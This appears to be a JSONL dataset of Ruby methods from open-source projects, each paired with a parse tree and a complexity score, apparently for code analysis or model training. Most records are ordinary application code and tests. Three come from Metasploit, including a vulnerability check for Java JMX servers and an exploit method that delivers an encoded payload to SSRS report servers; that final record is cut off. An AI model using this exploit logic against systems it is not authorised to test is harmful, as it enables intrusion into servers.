{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/migration/create_table_with_foreign_keys.rb","start_line":128,"raw_source":"def definition_to_table_names(definition)\n          table_name_from_options(definition.last) || arguments_to_table_names(definition)\n        end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"definition_to_table_names\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"definition\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"table_name_from_options\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"definition\"]},\"last\"]}]},{\"type\":\"send\",\"children\":[null,\"arguments_to_table_names\",{\"type\":\"lvar\",\"children\":[\"definition\"]}]}]}]}","id":"c7565404-ce69-475e-9ba2-e4c1d7ea759d"}
{"repo_name":"spree","file_path":"./repos/spree/storefront/app/helpers/spree/products_helper.rb","start_line":131,"raw_source":"def products_selected_filters_count\n      params[:filters].present? ? params[:filters].split(',').count : 0\n    end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"products_selected_filters_count\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"filters\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"filters\"]}]},\"split\",{\"type\":\"str\",\"children\":[\",\"]}]},\"count\"]},{\"type\":\"int\",\"children\":[0]}]}]}","id":"6e928c19-81fa-4eb8-bdce-e1a1ddb1012c"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/batches_test.rb","start_line":730,"raw_source":"def test_in_batches_enumerator_each_record_should_quote_batch_order_with_desc_order\n    assert_queries_match(/ORDER BY #{Regexp.escape(quote_table_name(\"posts.id\"))} DESC/) do\n      Post.in_batches(of: 1, order: :desc).each_record do |record|\n        assert_kind_of Post, record\n      end\n    end\n  end","complexity_score":9.68,"ast_json":"{\"type\":\"def\",\"children\":[\"test_in_batches_enumerator_each_record_should_quote_batch_order_with_desc_order\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_queries_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"ORDER BY \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"escape\",{\"type\":\"send\",\"children\":[null,\"quote_table_name\",{\"type\":\"str\",\"children\":[\"posts.id\"]}]}]}]},{\"type\":\"str\",\"children\":[\" DESC\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"in_batches\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"of\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order\"]},{\"type\":\"sym\",\"children\":[\"desc\"]}]}]}]},\"each_record\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_kind_of\",{\"type\":\"const\",\"children\":[null,\"Post\"]},{\"type\":\"lvar\",\"children\":[\"record\"]}]}]}]}]}","id":"57f91c0b-43e9-49a9-852d-660a26b55bdc"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/db/migrate/20210505174616_update_follow_recommendations_to_version_2.rb","start_line":7,"raw_source":"def up\n    drop_view :follow_recommendations\n    create_view :follow_recommendations, version: 2, materialized: true\n\n    # To be able to refresh the view concurrently,\n    # at least one unique index is required\n    safety_assured { add_index :follow_recommendations, :account_id, unique: true }\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"drop_view\",{\"type\":\"sym\",\"children\":[\"follow_recommendations\"]}]},{\"type\":\"send\",\"children\":[null,\"create_view\",{\"type\":\"sym\",\"children\":[\"follow_recommendations\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"version\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"materialized\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safety_assured\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"follow_recommendations\"]},{\"type\":\"sym\",\"children\":[\"account_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"b53d69a3-3770-4801-8ab2-871d7bb2906a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/testing.rb","start_line":205,"raw_source":"def clear_all\n        jobs_by_queue.clear\n        jobs_by_class.clear\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"clear_all\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"jobs_by_queue\"]},\"clear\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"jobs_by_class\"]},\"clear\"]}]}]}","id":"0d8a8bc2-c4dc-4197-ae16-cff70f4a48c0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/parser/nmap_document.rb","start_line":183,"raw_source":"def record_port_service(attrs)\n      return unless in_tag(\"host\")\n      return unless in_tag(\"port\")\n      svc = attr_hash(attrs)\n      if svc[\"name\"] && @args[:fix_services]\n        svc[\"name\"] = db.nmap_msf_service_map(svc[\"name\"])\n      end\n      @state[:port] = @state[:port].merge(svc)\n    end","complexity_score":18.2,"ast_json":"{\"type\":\"def\",\"children\":[\"record_port_service\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attrs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_tag\",{\"type\":\"str\",\"children\":[\"host\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_tag\",{\"type\":\"str\",\"children\":[\"port\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"svc\",{\"type\":\"send\",\"children\":[null,\"attr_hash\",{\"type\":\"lvar\",\"children\":[\"attrs\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"svc\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"fix_services\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"svc\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"db\"]},\"nmap_msf_service_map\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"svc\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"port\"]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"svc\"]}]}]}]}]}","id":"091d50d7-08f7-4d6b-97d6-68412002e62d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/packages/ssrf_protection.rb","start_line":20,"raw_source":"def self.package_feature_enabled?(package)\n      case package.package_type.to_sym\n      when :generic\n        Feature.enabled?(:generic_package_registry_ssrf_protection, package.project)\n      # Future package types can be added here\n      # when :npm\n      #   Feature.enabled?(:npm_package_registry_ssrf_protection, package.project)\n      else\n        false\n      end\n    end","complexity_score":6.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"package_feature_enabled?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"package\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"package\"]},\"package_type\"]},\"to_sym\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"generic\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"enabled?\",{\"type\":\"sym\",\"children\":[\"generic_package_registry_ssrf_protection\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"package\"]},\"project\"]}]}]},{\"type\":\"false\",\"children\":[]}]}]}","id":"ee64ab0c-2e15-46e0-90a1-3b7d3338d543"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/integrations_helper.rb","start_line":265,"raw_source":"def slack_specific_form_data(integration)\n    return {} unless integration.is_a?(::Integrations::GitlabSlackApplication)\n\n    {\n      upgrade_slack_url: add_to_slack_link(integration.parent, slack_app_id),\n      should_upgrade_slack: integration.upgrade_needed?.to_s\n    }\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"slack_specific_form_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"integration\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"integration\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Integrations\"]},\"GitlabSlackApplication\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"upgrade_slack_url\"]},{\"type\":\"send\",\"children\":[null,\"add_to_slack_link\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"integration\"]},\"parent\"]},{\"type\":\"send\",\"children\":[null,\"slack_app_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"should_upgrade_slack\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"integration\"]},\"upgrade_needed?\"]},\"to_s\"]}]}]}]}]}","id":"a67ea63b-ad8c-4d94-a4b3-a2964919f6a1"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-assign/lib/topic_assigner.rb","start_line":19,"raw_source":"def self.is_last_staff_post?(post)\n    deprecation_note\n    Assigner.is_last_staff_post?(post)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"is_last_staff_post?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"deprecation_note\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Assigner\"]},\"is_last_staff_post?\",{\"type\":\"lvar\",\"children\":[\"post\"]}]}]}]}","id":"ed1673ed-37dd-4b3d-8583-af5617e9f1e8"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/post_alerter.rb","start_line":140,"raw_source":"def allowed_users(post)\n    @allowed_users ||= post.topic.allowed_users.reject { |u| not_allowed?(u, post) }\n  end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed_users\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@allowed_users\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"topic\"]},\"allowed_users\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"u\"]}]},{\"type\":\"send\",\"children\":[null,\"not_allowed?\",{\"type\":\"lvar\",\"children\":[\"u\"]},{\"type\":\"lvar\",\"children\":[\"post\"]}]}]}]}]}","id":"499e2f26-1367-438a-881b-9c02b96c2f0f"}
{"repo_name":"forem","file_path":"./repos/forem/db/migrate/20211013153230_create_pghero_query_stats.rb","start_line":2,"raw_source":"def change\n    create_table :pghero_query_stats do |t|\n      t.text :database\n      t.text :user\n      t.text :query\n      t.integer :query_hash, limit: 8\n      t.float :total_time\n      t.integer :calls, limit: 8\n      t.timestamp :captured_at\n    end\n\n    add_index :pghero_query_stats, [:database, :captured_at]\n  end","complexity_score":12.1,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"pghero_query_stats\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"database\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"query\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"query_hash\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[8]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"float\",{\"type\":\"sym\",\"children\":[\"total_time\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"calls\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[8]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamp\",{\"type\":\"sym\",\"children\":[\"captured_at\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"pghero_query_stats\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"database\"]},{\"type\":\"sym\",\"children\":[\"captured_at\"]}]}]}]}]}","id":"a5df4249-961e-4c48-942d-d8fd26dff850"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/notification_serializer.rb","start_line":26,"raw_source":"def is_warning\n    object.topic.present? && object.topic.subtype == TopicSubtype.moderator_warning\n  end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"is_warning\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"topic\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"topic\"]},\"subtype\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TopicSubtype\"]},\"moderator_warning\"]}]}]}]}","id":"3fd7f591-84eb-4870-967d-4d5d208b0c85"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/test/holidays/finder/rules/test_year_range.rb","start_line":59,"raw_source":"def test_returns_error_if_until_operator_and_value_is_not_a_number\n    @year_ranges = {until: \"bad\"}\n    assert_raises ArgumentError do\n      @subject.call(@year, @year_ranges)\n    end\n  end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_returns_error_if_until_operator_and_value_is_not_a_number\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@year_ranges\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"until\"]},{\"type\":\"str\",\"children\":[\"bad\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@subject\"]},\"call\",{\"type\":\"ivar\",\"children\":[\"@year\"]},{\"type\":\"ivar\",\"children\":[\"@year_ranges\"]}]}]}]}]}","id":"29aecb5d-0da3-4c2c-aea8-c4142fb1ba46"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_server.rb","start_line":322,"raw_source":"def friendly_name\n    _(\"EVM Server (%{id})\") % {:id => pid}\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"friendly_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"EVM Server (%{id})\"]}]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"pid\"]}]}]}]}]}","id":"92476867-d16d-481e-acdc-c09b8dd946a0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/misc/java_jmx_server.rb","start_line":113,"raw_source":"def check\n    connect\n\n    unless is_rmi?\n      return Exploit::CheckCode::Safe\n    end\n\n    mbean_server = discover_endpoint\n    disconnect\n    if mbean_server.nil?\n      return Exploit::CheckCode::Safe\n    end\n\n    connect(true, { 'RHOST' => mbean_server[:address], 'RPORT' => mbean_server[:port] })\n    unless is_rmi?\n      return Exploit::CheckCode::Unknown\n    end\n\n    jmx_endpoint = handshake(mbean_server)\n    disconnect\n    if jmx_endpoint.nil?\n      return Exploit::CheckCode::Detected\n    end\n\n    Exploit::CheckCode::Appears\n  end","complexity_score":18.4,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_rmi?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"mbean_server\",{\"type\":\"send\",\"children\":[null,\"discover_endpoint\"]}]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mbean_server\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"connect\",{\"type\":\"true\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RHOST\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mbean_server\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"address\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mbean_server\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"port\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_rmi?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"jmx_endpoint\",{\"type\":\"send\",\"children\":[null,\"handshake\",{\"type\":\"lvar\",\"children\":[\"mbean_server\"]}]}]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jmx_endpoint\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Detected\"]}]},null]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\"]}]}]}","id":"8a3b5703-81f3-4e1b-90bb-02efbca790b0"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/quandora/test/test_quandora_question.rb","start_line":110,"raw_source":"def test_post_from_comment_uses_previous_comment_as_parent\n    comment = {}\n    comment[\"author\"] = { \"uid\" => \"auid\" }\n    parent = { \"uid\" => \"parent-uid\", \"created\" => \"2013-01-06T18:24:54.62Z\" }\n\n    post = @question.post_from_comment comment, 1, parent\n\n    assert_equal \"parent-uid-1\", post[:id]\n    assert_equal \"parent-uid-0\", post[:parent_id]\n    assert_equal Time.parse(\"2013-01-06T18:24:54.62Z\"), post[:created_at]\n  end","complexity_score":13.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_post_from_comment_uses_previous_comment_as_parent\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"comment\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"author\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uid\"]},{\"type\":\"str\",\"children\":[\"auid\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"parent\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uid\"]},{\"type\":\"str\",\"children\":[\"parent-uid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"created\"]},{\"type\":\"str\",\"children\":[\"2013-01-06T18:24:54.62Z\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"post\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@question\"]},\"post_from_comment\",{\"type\":\"lvar\",\"children\":[\"comment\"]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"lvar\",\"children\":[\"parent\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"parent-uid-1\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"parent-uid-0\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"parent_id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"parse\",{\"type\":\"str\",\"children\":[\"2013-01-06T18:24:54.62Z\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"created_at\"]}]}]}]}]}","id":"ba33db66-b521-43eb-8269-9fe1e5b44b36"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/tracker.rb","start_line":29,"raw_source":"def test_method_lookup_instance\n    parse_class\n    assert @tracker.find_method(:boo, :Example, :instance)\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_method_lookup_instance\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parse_class\"]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tracker\"]},\"find_method\",{\"type\":\"sym\",\"children\":[\"boo\"]},{\"type\":\"sym\",\"children\":[\"Example\"]},{\"type\":\"sym\",\"children\":[\"instance\"]}]}]}]}]}","id":"c76536cb-86d4-4af6-ae09-821118e16a12"}
{"repo_name":"liquid","file_path":"./repos/liquid/performance/shopify/shop_filter.rb","start_line":97,"raw_source":"def to_handle(str)\n    result = str.dup\n    result.downcase!\n    result.delete!(\"'\\\"()[]\")\n    result.gsub!(/\\W+/, '-')\n    result.gsub!(/-+\\z/, '') if result[-1] == '-'\n    result.gsub!(/\\A-+/, '') if result[0] == '-'\n    result\n  end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"to_handle\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"str\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"dup\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"downcase!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"delete!\",{\"type\":\"str\",\"children\":[\"'\\\"()[]\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\W+\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"-\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"int\",\"children\":[-1]}]},\"==\",{\"type\":\"str\",\"children\":[\"-\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"-+\\\\z\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"==\",{\"type\":\"str\",\"children\":[\"-\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A-+\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"e50136d2-8a0c-461d-a362-33e9f1036bdf"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/ssrs_navcorrector_viewstate.rb","start_line":82,"raw_source":"def exploit\n    fail_with(Failure::NotFound, 'Failed to detect the application') unless check == CheckCode::Detected\n\n    json_response = send_api_request('ReportServerInfo', 'Model.GetVirtualDirectory')\n    fail_with(Failure::UnexpectedReply, 'Failed to detect the report server virtual directory') if json_response.nil?\n    directory = json_response['value']\n    vprint_status(\"Detected the report server virtual directory as: #{directory}\")\n\n    state = { vd: directory }\n    if target['Type'] == :windows_command\n      execute_command(payload.encoded, state: state)\n    else\n      cmd_target = targets.select { |target| target['Type'] == :windows_command }.first\n      execute_cmdstager({ linemax: cmd_target.opts['Space'], delay: datastore['CMDSTAGER::DELAY'], state: state })\n    end\n  